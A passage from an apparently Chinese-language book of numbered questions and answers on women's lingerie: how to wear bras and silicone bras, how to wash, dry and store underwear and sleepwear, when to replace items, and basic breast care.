Q76. 冬季将文胸穿在秋衣外面好吗？

　　南方冬季太冷又没有暖气，很多姑娘喜欢把文胸套在秋衣外面，睡前脱掉文胸就可以直接钻进被窝；起床在外面套上文胸，可以避免身体直接接触冷空气。总之就是秋衣不离身。这些都是妈妈亲身试验、口口相传的保暖秘籍。但文胸穿戴的基本准则是“贴合”，如果隔着一层秋衣，文胸就无法完全贴合胸脯，从而起到承托作用。

　　当然也有些姑娘选择大冬天不穿文胸，不过 B 罩杯以上还是穿比较好，可以避免真空状态下胸部没型和下垂的情况。

Q77. 穿露背装应该穿什么文胸？

Q78. 文胸有哪些肩带的变化？如何与外衣搭配？

Q79. 你的内衣橱里有硅胶文胸吗？你知道怎么穿吗？

　　硅胶文胸，也称“隐形文胸”。没有肩带，也没有侧比和后背固定，只有两个用硅胶制作的罩杯，靠罩杯内层涂有的黏胶贴在胸部，因此成为很多场合和衣服搭配的必备内衣。特别是需要穿露肩礼服、露背礼服、吊带装或一字领衣裙时，硅胶文胸被认为是必不可少的搭档，常常需要穿礼服的女明星们对它更是爱不释手。那么，硅胶文胸要怎么穿呢？

第一步，做好穿戴前的准备工作

　　硅胶文胸有其自身的黏性，在使用前，最好先将胸部清洁干净，然后用毛巾擦拭，保持干燥。切勿在胸部残留水渍，以防脱落！

　　擦干后不要涂抹任何护肤产品，例如身体乳、爽身粉等，这些物品都会影响硅胶文胸的黏性。

第二步，分清左右杯

　　要穿上硅胶文胸，分清左右杯是首要任务。

　　通常弧度大的为下，弧度小的为上；有黏性的是内侧，没有的是外侧。

第三步，一次戴一边

　　先留意罩杯的下缘位置。穿戴时把罩杯向外翻，将罩杯置于要放的角度，从胸下 1 厘米开始黏贴。

　　C 罩杯以上的女性，可适当上调 1～2 厘米的距离，防止脱落。

　　建议新手朋友们可以照着镜子找准位置。如果贴不准位置反复撕拉硅胶文胸，会导致其黏性下降，缩短使用寿命。

　　找对位置后，轻轻地用指尖抚平罩杯的边缘，然后紧按 10 秒固定，一边戴好后，再重复同样的动作戴另一边。

　　为了让胸部看起来更圆满，应将罩杯置于胸部高一点的位置，连接扣向下 45 度，这样可以更好地衬托出胸部曲线。

第四步，扣上连接扣

　　调整两边的位置保持胸型对称，然后将隐形文胸连接扣扣上就可以了。

Q80. 任何人都适合穿硅胶文胸吗？

　　当然不是。

　　至少对于以下几种人，硅胶文胸并不适合。

  1. 乳房下垂。硅胶文胸能够让胸部聚拢，但不能够让下垂的胸部回复到原本位置，所以建议有此烦恼的朋友最好不要穿戴硅胶文胸。
  2. 乳房有皮肤破损、皮肤容易过敏的人。硅胶文胸透气性能差，长期穿戴会刺激胸部，令胸部产生瘙痒等不适。
  3. 哺乳期女性。原因同上。
  4. 经常出汗的女性。汗液会影响硅胶文胸的黏性，甚至令其突然脱落。因此，爱出汗，特别是更年期频繁出汗的女性，在正式场合不宜穿戴硅胶文胸。

Q81. 可以长时间穿戴硅胶文胸吗？

　　不可以。

　　专家建议一天内穿戴硅胶文胸的时间不要超过 6 小时。

　　因为硅胶文胸不透气，穿戴时间过长，汗液无法干透，很容易使皮肤出现瘙痒红肿等情况。而汗液落在硅胶文胸上，会影响硅胶文胸的黏性，甚至会造成硅胶文胸滑落的尴尬。

　　天气太热时也不宜长时间穿着硅胶文胸。

　　事实上，最需要穿硅胶文胸的季节是夏季，可在高温条件下，人们更容易出汗并感到闷热，更不用说穿戴不透气的硅胶文胸了。

Q82. 一整天都待在家，要穿文胸吗？

　　穿文胸的目的不是给别人看的，而是为保护自己的胸部。因此，即使白天一整天待在家里，也建议穿上。

　　不过，因为没有露点之虞，可以选择相当舒适的款式，能给胸部以足够的承托力，同时又让自己感觉自在即可。

　　如果在家里做运动，还是需要换上运动文胸。

Q83. 回到家，什么时候脱掉文胸？

　　可以在换上家居服的时候，把文胸脱掉。

　　如果不马上进入卧室，而是会在家里的公共区域，比如客厅、厨房逗留，而你又不想穿文胸的话，建议你可以换上相对宽松的家居式文胸。这种文胸不带钢圈，也不用超厚海绵垫，只是能给乳房一定的支撑。

　　也可以穿上带有文胸的背心。这种背心在表面看不到文胸，却有文胸的支撑功能。

Q84. 睡觉的时候应该脱掉文胸吗？

　　如果是普通的基础文胸，睡觉时最好不要穿。

　　女性乳房健康专家认为，文胸不能整天穿戴，每天要保证八个小时不戴文胸。那对于一个天天要上班或上学的人来说，这八个小时就只能在睡眠中完成，所以医生通常会建议睡觉时不要穿戴文胸。

　　即使不考虑这个八小时理论，晚上睡觉时也以不穿戴普通的基础文胸为好，因为这种文胸多半都会对胸部有束缚感，会影响睡眠时的呼吸顺畅和血液流通。

　　不过，如果一定要穿戴文胸入睡，可以选择适合夜晚睡觉的“睡眠文胸”或“夜间文胸”。这种文胸与哺乳文胸近似，比较宽松，可以让乳房自由呼吸。

Q85. 一个女人应该同时有几件文胸、内裤轮换着穿？

　　通常我们建议购买文胸和内裤的比例是 1:3 或者 1:2，就是说买一件文胸应该买 2～3 条内裤。如果我们每天更换内裤的话，那么文胸的更换频率应该是每两天或三天更换一次。而且从价格上讲，内裤比文胸便宜很多，可以多买些，可以与文胸搭配出不同的风格效果。

　　不过，内衣的根本任务是为外衣服务，所以，如果每天更换外衣的话，可能文胸也需要每天更换。

　　更换频率不等于洗涤频率，如果更换下来的文胸暂时无须洗涤的话，最好放置在通风干燥处晾晒。

Q86. 尺码不合适的文胸该怎么处理？

　　如果罩杯不合适，则应赶紧放弃。

　　如果只是底围不合适，可以找裁缝或承担订制的工作室加以修改。比如底围过长，可以将背钩处剪短，重新上背钩；如果过短，则可以再加一排背钩，只是美观度会打折扣。

Q87. 如何选择与裤子或裙子搭配的内裤颜色？

　　穿白色的裤子或裙子时，一定要穿裸色内裤。很多女性以为白裤下应该穿白色内裤，这是绝对错误的，因为白色在白色下会产生强烈的反光，反而会透到外面来。

　　黑色内裤可以搭配黑色及所有深色裤子或裙子下。

　　除不能穿在白色棉质或麻质裤下，白色内裤可以穿在其他任何浅色裤子、裙子下。

　　时尚色是根据当季成衣流行的颜色决定的，通常比外衣的流行色稍浅，目的是为搭配外衣方便。所以，时尚色内裤可以放心穿在时尚色的裤子或裙子下。

Q88. 如何选择与裤子或裙子搭配的内裤款式？

　　市场上的内裤让人眼花缭乱，怎么穿才能不在裤子或裙子下显露出内裤痕，大方又得体呢？

　　掌握下面四个重要的搭配原则，就不会出错。

  1. 低腰裤或裙子，一定要搭配低腰内裤。
  2. 迷你裙或短裙，一定要搭配低开腿、可以包裹住大腿根部的平角裤。
  3. 夏季裙装应选择全棉质地的平角裤。因为棉布吸汗，本身凉爽，不会因为出汗而有粘腻之感。
  4. 轻薄、丝质、容易贴身的裙子或裤子，无痕内裤是最好的选择。

Q89. 你会穿丁字裤吗？

　　大部分女性反映说丁字裤穿起来不舒服，但过去却是很多女性内衣抽屉里的必备款式。因为穿紧身裤，尤其是穿弹力强、面料轻薄的紧身裤裙时，特别在某些穿礼服的重要场合，必须搭配丁字裤，否则就无法完全做到没有内裤痕。虽然自从有了无痕贴合内裤以后，丁字裤的销量急剧下降，很多人以为再也不用穿丁字裤了，可实际上，无痕内裤再无痕，也无法完全取代丁字裤的作用。

　　然而，由于丁字裤特殊的造型设计，尤其是下部设计成窄带，很容易勒入女性会阴，与娇嫩的皮肤发生摩擦，引发局部皮肤充血、红肿、感染等症状，从而诱发阴道炎等妇科疾病，因此很多人对丁字裤望而生畏。

　　既需要穿又害怕穿，怎样才是丁字裤的正确穿法呢？

　　首先尽量不要长时间穿着丁字裤，如果特殊场合必须穿时，可以在丁字裤裆部垫上一个小巧的卫生棉垫，不要让裆部的窄带勒入太深。如果局部正好有炎症或经期，就要避免穿丁字裤了。

Q90. 旅行的时候，你带睡衣吗？

　　出门住酒店时，带一件自己的睡衣是对个人卫生的保护。酒店即使会高温洗涤床品，更换也很勤快，但仍会有各种细菌存在。再高级的酒店都会有各种各样的卫生隐患，这样的问题最近曝光了很多。女性出门，最稳妥的做法是带上自己的睡衣，甚至可以带上自己的拖鞋。

　　另外，熟悉的睡衣会给我们一种回到自己家、躺在自己床上的感觉，更容易放松，也能更顺利地进入睡眠状态。

Q91. 三天两夜的旅行或出差，应该带几件内衣？

　　文胸的话，一般情况下带两件足矣。一件是基础文胸，不花哨、光滑面料，选择基础颜色黑色或肤色即可。这件文胸最好可以搭配任何外衣。

　　第二件可以选择比较时尚的蕾丝款或不光滑面料款，在一些特殊的社交场合需要。

　　带一件肩带可以调节的文胸也是十分必要的。

　　女性应该每日更换内裤，所以至少要带三条内裤。为防止意外发生，最好多带一条。

　　旅行时，可以带便于携带的胶囊内裤。胶囊内裤采用轻薄透气的面料制作而成，分量轻，卷起来精致小巧，故而得名。

Q92. 新买的内衣，要不要先清洗？

　　当然是一定要洗。

　　据一项调查显示，新衣服买来后会洗的人只有 22.8%，这个数字如果也适用于内衣的话，那就太危险了。

　　虽然内衣是新买的，但在出厂前已经经过多道工人的手，比如布料工、裁剪工、几道流水线上的缝制工、整形工、包装工等。而且在生产过程中，如果不小心蹭上了机器油污，工厂会用一种镪水枪喷射，把污渍去掉。这个镪水喷枪去污力极强，刚喷上时镪水的味道很重，但等衣服到消费者手里时，味道已经淡到你闻不到了。所以，无论如何贴身内衣一定要先洗才能上身。

　　衣服在加工的过程中离不开甲醛，它可以用来除皱、防腐及保色，所以新衣服里都会残留甲醛。其实，有甲醛不是什么大问题，问题在于量的多少。现在很多工厂都宣称生产符合环保标准，但有些工厂为了减低成本还是有可能过量使用。

　　买新内衣时可以闻一闻有没有刺激性的味道，如果有异味，很可能是甲醛超标。虽然国家要求各类服装衣物的甲醛不得超标，但市场上仍有很多无法达到国家规定标准的衣服。因此，买内衣时，一定要查看合格证，尽量选择正规厂家生产的产品。

　　那么，要如何清理新衣服上这些有害物质呢？其实水洗就可以洗掉衣服上的甲醛等大部分有害物质，因为甲醛易溶解于水。 新买的衣服如果不是必须干洗的，都要先下水。 在清水中加一勺食盐也是个不错的办法，食盐有消毒、杀菌、防褪色的作用。也可以加入少量洗衣液清洗。

Q93. 内衣应该手洗还是机洗？可以干洗吗？

　　主要看布料的质地。如果是棉，大部分可以机洗。如果是丝绸，请务必手洗。

　　小件内衣，比如文胸、内裤比较“脆弱”，放在洗衣机里洗很容易变形，最好手洗，并选用温和的洗衣液，一定要用清水漂洗干净。

　　大部分的内衣都不需要干洗，但有些用珍贵材质制成的家居服，比如羊毛、绸缎睡袍、加绒睡衣等可能会标有干洗标志，请务必干洗。不过国内干洗行业目前还无法实现干洗剂无毒化，虽然衣物上的干洗剂残留对消费者的健康并不构成大的威胁，但干洗后的衣物取回后，应该在通风处放置两三天。

　　内衣上的主要污垢是皮肤的分泌物，如皮脂、汗渍等，内裤上或许会有血渍。内衣专用肥皂或洗衣液，采用含酶配方体系，PH 值中性，不含磷、铝成分，对人体皮肤刺激性更小；更能有效去除包括血渍在内的各种污渍；还有柔顺功效，使内衣洗后干净、柔软。

　　除非在衣服的水洗标上有特殊要求，大部分睡衣、家居服是不需要干洗的，都可以水洗。如果是丝绸质地，则应手洗。

Q94. 如何清洗文胸？

  1. 一般情况下应手洗。

　　应以“轻按”的方式手洗。文胸不能过分挤压，以免弄皱变形，破坏面料纤维。特别是带有钢圈的文胸，不要用力拧。

  1. 清洗时最好用 30℃左右温水，配合一般的中性洗衣液或内衣专用洗衣液。
  2. 使用洗衣液要适量，过多的洗衣液会残留在面料上，很难冲洗干净。

　　应先将洗衣液溶于 30～40℃的温水中，待完全溶解后，放入文胸。洗衣液不能直接沾于文胸上，否则可能导致文胸颜色不均。

  1. 千万不要使用漂白剂，含氯的漂白剂会损坏质料并使其变黄。
  2. 特别脏的地方不要用小刷子刷，而要利用内衣自身互相磨擦，即可去除污渍。

　　如果文胸的水洗标上没有特别注明必须手洗，一般情况下可以机洗，但应放入内衣洗衣袋里。机洗文胸要选择轻柔档，时间不要过长，三到五分钟即可，并且务必使用冷水。因为文胸是用精致的面料和橡筋制作而成的，也常常会有蕾丝等装饰材料，不同材质染色手段和处理方式都会不同，使用高温热水有可能导致变色或染色，或者改变色泽亮度。

　　钢圈文胸不建议机洗，尤其是硬钢圈，还是以手洗为宜。因为机洗极易使钢圈变形，让文胸寿命大打折扣。一般带钢圈的文胸可以穿一年不变形，但如果长期机洗，半年后多半就不能再穿了。

　　如果实在太懒，软钢圈文胸可以机洗，但需要将有钢圈和无钢圈的文胸分开。

　　机洗后的文胸务必晾干，切忌用烘干机烘干，否则会大大减少文胸的使用寿命。

　　文胸上落了污渍应尽快清洗，时间愈长，污渍渗入纤维组织后会愈难清洗。可随身携带一只洗净笔，如果不方便马上将整件文胸丢进水里清洗，可以尽快用洗净笔在污渍上处理一下，等回到家时再洗就容易很多。

　　去除常见污渍有些流传甚广的小窍门，但没有足够的调查数据证明这些方法百分之百有效。去除污渍最好的办法还是在落上污渍的几秒钟内进行紧急处理，大部分污渍即可被清除掉。

　　针对不同的污渍类型，有以下方法可供参考：

　　汗渍：用米汤水浸泡，稍微搓洗后冲净；

　　酒渍：以冷水浸泡后，用温肥皂水洗净；

　　果汁：将面粉撒于污渍上，用清水搓洗；

　　口红或粉底：用酒精或挥发性溶剂去除，再用温度适中的洗衣液清洗；

　　血渍：将牙刷蘸上稀释后的洗衣液刷洗。

Q95. 内衣清洗前要确认的清洗标识都有哪些？

Q96. 文胸如何晾干？

　　文胸洗好后不要用手拧干，最好用干毛巾包裹，用手将水分挤压出去。待毛巾吸干水分后，将内衣拉平至原状，如果是带罩杯的文胸则要将罩杯形状整理好平铺晾干。

　　湿的文胸要以杯与杯中间点挂起来，切忌直接将肩带挂在衣架上，因为水分的重量会把肩带拉长。

　　日晒易使衣物褪色，所以应将内衣放在阴凉通风的地方晾干。

Q97. 如何保养全蕾丝文胸？

　　蕾丝是由 100% 涤纶或一半涤纶一半棉制成的，因此尽量不要放入洗衣机清洗。上等的蕾丝需要手洗或拿到专业的干洗店处理。

　　清洗蕾丝的时候要使用质地温和的肥皂或专门清洗丝织品的洗衣液。

　　清洗之前，先将毛巾铺在水池里，洗后再用毛巾将蕾丝捞起，这样做可以防止蕾丝意外拉断。

　　将湿蕾丝包裹在毛巾里吸走水分，再把它们平铺，待自然晾干。

Q98. 如何保养硅胶文胸？

　　硅胶文胸是常见的女性衣物，它的一面涂有粘性胶，因此很容易粘上脏物，需要经常清洗。

清洗方法

  1. 首先准备好 30～35℃的温水，这个温度的水用来清洗硅胶文胸，既能去除文胸上的污垢，又能保证文胸的形状和黏性不受影响。
  2. 先从一边罩杯开始清洗，用手托住一只罩杯放入温水中，使其变湿，用另一手的指腹以划圆圈的方式轻揉罩杯的正反面。清洗罩杯上的灰尘和污垢，可以单纯用清水清洗，也可以使用中性肥皂或沐浴露来清洗，只要保证硅胶文胸上没有污垢和清洁品残留物即可。注意清洗时不要用指甲摩擦胶合面，小心划伤胶质层，影响其黏性。也不要用毛巾清洗，否则会损坏黏胶表面，降低粘附性。
  3. 应将硅胶文胸与其他文胸分开洗涤。
  4. 不宜机洗。因为机器磨损会使产品变形，缩短使用寿命。

晾晒方法

　　硅胶文胸在清洗过后，应放在干燥通风的地方晾晒。

　　也可用纸巾擦去没有涂粘性胶那一面的水渍，然后挂于衣架上。注意不要用夹子夹硅胶文胸，以防硅胶文胸变形，最好是将硅胶文胸对折晒。

　　另外，硅胶文胸不宜放在阳光下暴晒，因为这很容易导致硅胶文胸变形。通常放于干燥通风处晾晒即可。

保存方法

　　等到硅胶文胸晒开后，即可取下。

　　在购买时，通常硅胶文胸上是贴了一层保护膜的，如果这层保护膜还在，可将保护膜重新贴于涂有粘性胶那一面，以防止细菌和灰尘落入，影响其自身粘性；如果不在了，用普通保鲜膜代替即可。贴上保鲜膜后，要挤出里面的气泡，放于干净的保护盒中，方便下次使用。

　　应避免用毛巾、纸巾或较薄的塑料袋接触粘胶面。避免两个罩杯的粘胶面粘在一起；如果不慎粘在一起，可轻轻地、慢慢地将它们分开。

　　平时没有使用时，最好将硅胶文胸放于单独的盒子中保存，以防放在衣柜中，被衣物压住，影响其形状，或沾上不洁之物。

使用寿命

　　硅胶文胸的寿命跟其质量和保养程度有关。质量好的硅胶文胸，可反复穿 50～100 次；而质量差的穿 3～5 次就没有粘性了。良好的保养方法能够延长硅胶文胸的寿命，反之，若经常用力揉搓或长期不清洗，则会大大减少硅胶文胸的寿命。

Q99. 内裤应该如何清洗？

　　请务必手洗。因为内裤直接接触女性最为敏感的部位，只有手洗才能有针对性地洗涤裆部，这是机洗做不到的，因此有可能无法完全去除细菌。

　　其次，要使用内裤专用洗衣液，而且要用弱碱性的。包装上一般会标注 PH 值，9～10.5 最好，因为中性洗衣液不能有效除菌，酸性的有可能损坏内裤面料。而添加香料成分的洗衣液更不能使用，否则有可能破坏女性自身的酸碱平衡，引起过敏或炎症。如果没有专用洗衣液，最好的办法是用清水加柔和的洗衣液清洗。

　　内裤清洗干净后，一定要及时烘干或者晾干。

　　不同面料的内裤，应采用不同的洗涤方法。比如纯棉内裤要深浅颜色分开洗涤，不宜使用热水，否则可能染色。莫代尔面料容易起球，洗涤水温不宜超过 40℃，且不宜使劲揉搓。

Q100. 内裤洗净后需要暴晒才能穿吗？

　　之前有人说过：内裤不暴晒，就等于白洗！

　　理由是一条脏的内裤至少带有 0.1 克粪便，其中含有许多致病菌，比如真菌、沙门氏菌、大肠杆菌等。只有暴晒至少 30 分钟，利用阳光中的紫外线杀死这些致病菌，才能达到清洁内裤的效果，否则洗了也是白洗。

　　这样的说法有道理吗？咱们不妨细细研究一下。

　　首先，上面提到的致病菌，只有已经患病的人才会携带。例如，股癣疾病患者的内裤上会有真菌，肠炎疾病患者内裤上会有沙门氏菌等。健康的人，用普通的洗衣液就能洗掉大多数病菌；而一些真菌，假如普通的洗衣液很难洗干净，那么紫外线其实也无法杀死它们，而是需要先用消毒剂浸泡后再清洗。

　　有条件在太阳下晒干内裤是对的，但“不暴晒就白洗”这个说法未免有点夸张。

　　正常情况下（没有炎症的时候），内裤晾干或烘干后就可以了。因为致病菌大多在潮湿的环境下繁殖，只要内裤保持干燥，这些病菌就不会有繁殖条件。

Q101. 内裤一定要保持干爽，这是为什么？

　　首先，穿潮湿的内裤很不舒服；其次，长时间穿着潮湿的内裤，极有可能让女性感染妇科炎症。

　　如果你已经不幸患上了炎症，阴道的分泌物必然会增多，这时就更要勤换内裤。无论是患上炎症前还是患上炎症后，让内裤持久处于干爽状态都十分重要，因为只有干爽，才能给予女性敏感部位以健康环境，避免染病或尽快治愈。

　　为什么干爽环境如此重要？

　　因为女性尿道口、肛门和阴道的距离很近，内裤穿上不用多久，就会有细菌出没，而潮湿环境最有利于霉菌、念珠菌等致病菌的繁殖，它们很有可能在你免疫力下降或阴道环境变化时入侵，让你患上恼人的妇科炎症。

　　现在有些内裤生产商开始使用一种有抑菌消毒、快速干爽功能的铜离子棉布做内裤裆布，引起很多人的关注。这种裆布对于长时间处于潮湿环境的南方女性来说简直就是福音；对于易患妇科炎症的女性来说，更是福音。

Q102. 袜子和内裤可以一起洗吗？

　　很多人会把袜子和内裤一起丢进洗衣机，不过也有不少人认为袜子很脏，与内裤一起洗容易引起泌尿系统和生殖系统感染。

　　其实问题没有那么严重。穿过的袜子上主要有汗液、真菌、老旧角质等，脚上有气味的人可能还有白癣菌等真菌及一些臭味代谢物。而女性内裤上会有阴道分泌物，男女内裤上都有可能残留有尿液，一条脏内裤还会带有 0.1 克粪便痕，排泄物中有轮状病毒、沙门氏菌及大肠杆菌等。

　　把不干净的袜子和内裤一起洗会发生感染吗？

　　答案是不会，不过正确的洗涤方法非常重要。如果内裤和袜子一起洗，应使用热水，加入洗衣液。这样大多数细菌和致病菌，会在高温的环境和洗衣液的揉搓或搅洗下被消灭，最后的漂洗过程也能带走大部分微生物。即使有小部分侥幸残存下来，经过晒干或烘干，没有相对的湿度环境，也无法再继续生长繁殖。假如这样还不能彻底消灭细菌，人体还有免疫力，在细菌侵入时也能自我保护。

　　当然，如果被真菌感染患了脚气，或皮肤敏感且免疫力低下的，就不要把袜子和内裤放在一起洗了，更要与家人的衣物隔离清洗。

Q103. 睡衣应该多久清洗一次？

　　至少一周一次。

　　英国一项新的调查发现，有 51% 的人认为，没有必要经常清洗睡衣，因为他们每晚只穿几个小时。很多人认为自己经常洗澡，睡衣穿几个星期也没关系。这样的认识是非常错误的。实际上，在我们洗浴之后、进入睡眠状态时，人体的新陈代谢还在继续，皮肤不断分泌的油脂和汗液会沾到睡衣上。几个星期不清洗睡衣的话，这些油脂和汗液就会对皮肤产生刺激，有可能导致毛囊炎或出现汗斑。

　　同时，在我们睡觉时，肉眼看不到的微生物、皮屑也会大量脱落到睡衣上。这些微生物通常没有什么危害，但如果不巧进入某些部位则有可能产生危害。比如，葡萄球菌进入伤口就会引发感染，而大肠杆菌进入泌尿道会导致膀胱炎。此外，微生物可以在人与人之间互相传播，如果你不经常清洗睡衣，就可能把微生物转移到其他人身上。如果你的睡衣已经被微生物严重感染，即使在清洗的时候，细菌也会转移到其他衣物上，从而传播给其他人。

　　这当然都是相对极端的情况，但清洗通常就能清除大多数微生物，因此专家们建议，即使天天洗澡，我们也应该至少一周洗一次睡衣。油性皮肤的人，需要更换、清洗的频率可能要更高。

Q104. 睡衣应该怎么清洗？

　　应用冷水或者 40℃以下的温水和一般的中性洗衣液或者内衣专用洗衣液，用手轻揉清洗睡衣。洗衣液的量不能太多，否则会残留在睡衣上。

　　清洗睡衣时，应该在温水中放入洗衣液，待其完全溶解后才能将睡衣放进温水中；洗衣液不要直接与睡衣接触，避免睡衣褪色或颜色不均。

　　清洗睡衣时切勿使用漂白剂，因为含氯漂白剂会损害衣物的面料甚至使睡衣变黄或变色。由于日晒容易使睡衣变质、变黄，影响它的使用寿命，所以清洗完的睡衣应该放在阴凉处晾干。

Q105. 潮湿的地方，睡衣上经常出现霉斑怎么办？

棉质睡衣

　　可用几根绿豆芽，在有霉斑的地方反复揉搓，然后用清水漂洗干净，霉点就除掉了。

呢绒睡衣

　　先把睡衣放在阳光下晒几个小时，干燥后将霉点用刷子轻轻刷掉即可。如果是油渍、汗渍引起的发霉，可以用软毛刷蘸些汽油，在有霉点的地方反复刷洗，然后用干净的毛巾反复擦几遍，放在通风处晾干即可。

丝绸睡衣

　　先将丝绸泡在水中用刷子刷洗。如果霉点较多、很重，可以在有霉点的地方涂些 5% 的酒精溶液，反复擦洗几遍，便能很快除去霉斑。或者用柠檬酸洗涤，后用冷水漂洗。

化纤睡衣

　　可用刷子蘸一些浓肥皂水刷洗，再用温水冲洗一遍，霉斑即可除掉。

Q106. 真丝睡衣应该如何清洗？

先要仔细查看水洗标

　　真丝品种繁多，清洗前应仔细查看衣物的水洗标。有些真丝品种不宜洗涤，如花软缎、织锦缎、古香缎、天香绢、金香绉、金丝绒等；有些品种适合干洗，如立绒、漳绒、乔其纱等；有些可以水洗，洗前先在冷水中浸泡 10 分钟左右，浸泡时间不宜过长。洗涤时最好手洗，切忌大力揉搓。如果没有注明必须手洗，则是可以机洗的丝绸。机洗时要选择轻柔档。深颜色一般易掉色。

选用专用洗衣液

　　丝绸衣料不耐碱，清洗时应选用中性配方、不含酶的丝绸手洗专用洗衣液或丝毛净，这些专用洗衣液通常含有柔顺成分，保护丝毛纤维不受损伤，洗后衣物不变形，且柔软、抗静电。更为专业的洗衣液里还含有特效增艳因子，令衣物色泽保持鲜艳亮丽。

采用手挤压洗，忌拧绞

　　用挤压的方式去除水分，悬挂阴干或折半悬挂阴干；切勿在阳光下暴晒，不宜烘干。

Q107. 你有放置内衣的专用抽屉吗？

　　内衣，因为体积小、数量多，抽屉是我用过的最合理、最方便的内衣收纳容器，所以，请务必为我们的内衣准备好少则两三只抽屉，多则五六只抽屉。

　　如果有条件，应该将内衣各个种类分开收纳，这就需要一个五屉或七屉柜，以方便分别放置。

文胸

　　文胸最好将背扣打开、罩杯朝上放置。一个女人拥有的文胸种类通常肯定不止一种，因此，可以在抽屉里放上几个收纳盒，按不同种类将文胸分开放置。比如，带钢圈的一组，软罩杯一组，或者在此基础上再做细分。也应该在这个抽屉留出一块空间，放置与文胸有关的配件，比如可拆卸的棉垫、胸贴、肩带加宽附带、防肩带滑落带等。

内裤

　　内裤应该是女性数量最多的内衣种类。可以按款式分类，比如三角裤、平角裤、T 字裤等；可以按材质分类，比如有痕、无痕等；也可以按颜色分类，分为黑色、肤色和其他流行色。

内搭背心

　　背心是女性必不可少的内衣种类。收纳背心最方便的办法是按款式分类，比如吊带、宽肩、半袖等；也可以按长度分类，比如肚脐上、肚脐下、及臀、过臀等。

　　通常我也会将衬裙放在这个抽屉里。

睡衣

　　睡衣体积相对较大，我的办法是卷起来按照季节分成三个区域放在抽屉里，一为春夏，二为秋冬，三为特殊单品。卷起来的好处，一是可以很容易找出自己想穿的那一件，二是可以最大程度地利用空间。

家居服

　　与睡衣相同，我也习惯卷起来收纳，但不是按照季节，而是分开上装与下装即可。

塑身衣

　　塑身衣的品类较为复杂，最好的办法也是用隔板隔开放置。

Q108. 文胸穿多久后可以被扔掉？

　　文胸在穿戴一定时间后，明里或暗里使用的橡筋、丈根绳的弹力都会变得松懈，质量好的可能松得慢点。

　　通常文胸在连续穿戴三个月以后，就应该考虑更换了。如果在这个期限之前出现橡筋变软、筋线断裂等问题，就应及时果断放弃。

Q109. 内裤穿多久后可以被扔掉？

　　判断是否该扔掉内裤的依据不应该是时间，而是内裤的实际状况。

　　无论多么喜欢一件内裤，如果它出现破损，橡筋断开或弹性布料松懈，裤腰松垮，吸湿效果和透气性都变差，裆布发黄再也洗不干净，或者整体褪色等以上任何一种情况，都应该及时放弃。尤其是纯棉内裤，因为棉的回弹能力低，很容易发生松懈现象，更换的频率应该更高。

　　内裤穿得久了，即使每天清洗、晾晒，也不能完全杀死细菌，而且还会发黄、发硬。尤其是女性，阴道分泌物中的蛋白质成分，很容易成为细菌滋生的温床，更容易引起妇科疾病。因此一般来说，经常替换的内裤，最好是在穿过半年后就扔掉。

Q110. 真丝内衣应该如何存放？

　　小件的内衣，如文胸、内裤等，宜放入抽屉存放；大件的内衣，如睡衣，应悬挂存放。

　　存放衣物的箱、柜要保持清洁、干燥，尽量密封好，防止灰尘污染；不要喷洒除臭剂或香水，不要放置樟脑丸。保存真丝服装，无论是文胸、内裤，还是睡衣、家居服，都先要清洗干净，晾晒或熨干后再收纳。

　　在潮湿的南方，如果丝绸衣服未经洗净或熨平就存放起来，容易发生霉变、出蛀。经过熨烫，可以起到杀菌灭虫的作用。

　　熨烫时将衣物晾至七八成干再均匀地喷上清水，待 3～5 分钟后再烫，熨烫温度应控制在 130～140℃之间，熨斗不宜直接按触绸面，应该在上面加盖一层湿布再烫，以防高温使丝绸发脆，甚至烧焦。

Q111. 你在意胸部的护理吗？

　　女性的乳房通常被认为是女性身体最美的部分，也被认为是最容易注意到的女性特征，而且承载着哺育下一代的使命。女人们关注自己的乳房，可是对它们的了解却并不如想象得多，很多女性甚至不知道胸部是需要护理的，更不用说应该如何护理它们。

　　关于乳房，我们听说最多的可能都跟疾病有关。由于生活和工作压力的不断增加，许多女性情绪易怒、精神压抑，导致乳腺增生、乳腺炎等疾病，尤其是乳腺癌，目前其发病率已是女性恶性肿瘤的第一位。即便如此，很多女性对它的关心还是不够，以为穿对文胸就已经足够了。由于生活和工作的节奏紧张，可能也根本无暇顾及如何保养它们。

Q112. 理想的乳房应该是什么样的？

　　一般专家们认为理想的女性乳房应该丰满、匀称、柔韧而富有弹性。乳房位于胸大肌上，通常是从第二肋骨延伸到第六肋骨的范围。两乳头间的间隔大于 20 厘米，乳房基底面直径为 10～20 厘米，乳轴（从基底面到乳头高度）为 5～6 厘米，左右乳房大小基本一样。形状挺拔，呈半球形。

　　但这样理想的乳房不是每个女性天生就能拥有的，许多人要靠后天努力才能接近理想的状态。保养护理得越恰当、越及时，与理想的距离就越近。这也是我们需要护理乳房的原因。

Q113. 什么是胸部护理？

　　如果我们去美容院，可能经常会碰到美容师向我们推荐美胸项目。所谓美胸，其实就是通过胸部按摩，以达到丰胸或保持乳房坚挺的效果。

　　按摩的确是最直接的保养胸部的方法。

　　在按摩过程中，美容师会沿乳房轮廓由下往上、由外往内推挤乳房，刺激其末梢神经系统；也会轻轻拍打腋下淋巴部位，以促进血液循环，加快新陈代谢，帮助乳腺更通畅。在此过程中，按摩师通常会使用专门用于乳房按摩的乳液或精油，帮助放松。有些美容院还会使用专业仪器对乳房进行按摩，以起到活血化淤的作用。

　　其实这样的按摩我们自己在家里也可以经常操作，比如每天早上起床前和晚上临睡前仰卧在床上时，就可以花上几分钟，在乳房周围有节奏地自我旋转按摩，先顺时针方向，再逆时针方向，直到乳房皮肤微红、微热为止，最后提拉乳头数次。这样的按摩能刺激整个乳房，包括乳腺管、脂肪组织、结缔组织等。

　　长期坚持正确的按摩是促进乳房健美的有效方法，不过按摩一定要适当，不要用力过猛，否则就不是保养而是伤害了。

Q114. 乳腺增生应该注意什么？

　　乳腺增生既不属于炎症也不属于肿瘤，它是女性乳腺正常结构紊乱而形成的乳房疾病，主要指女性纤维组织和乳腺上皮增生。

　　并没有研究表明，钢圈是导致乳腺增生的原因。带钢圈的文胸不是造成任何女性疾病的原因。但钢圈的确会压迫乳房，如果尺码选择不当就会让人感觉强烈不适，而我们知道世界上有相当高比例的女性穿的是不合适的文胸。所以，对于有乳腺增生的人来说，还是选择没有钢圈的文胸为好，要选择相对宽松的文胸，以保证良好的局部微循环。

　　不过，值得注意的是，女性完全不穿文胸也并不可取，一旦乳房失去合适的支撑和保护，特别是胸部丰满或超重的女性如果任由乳房长期下垂，会影响血液和淋巴液的循环，反而可能成为乳腺增生的诱发因素。

Q115. 哪些体育锻炼可以加强对胸部的保养？

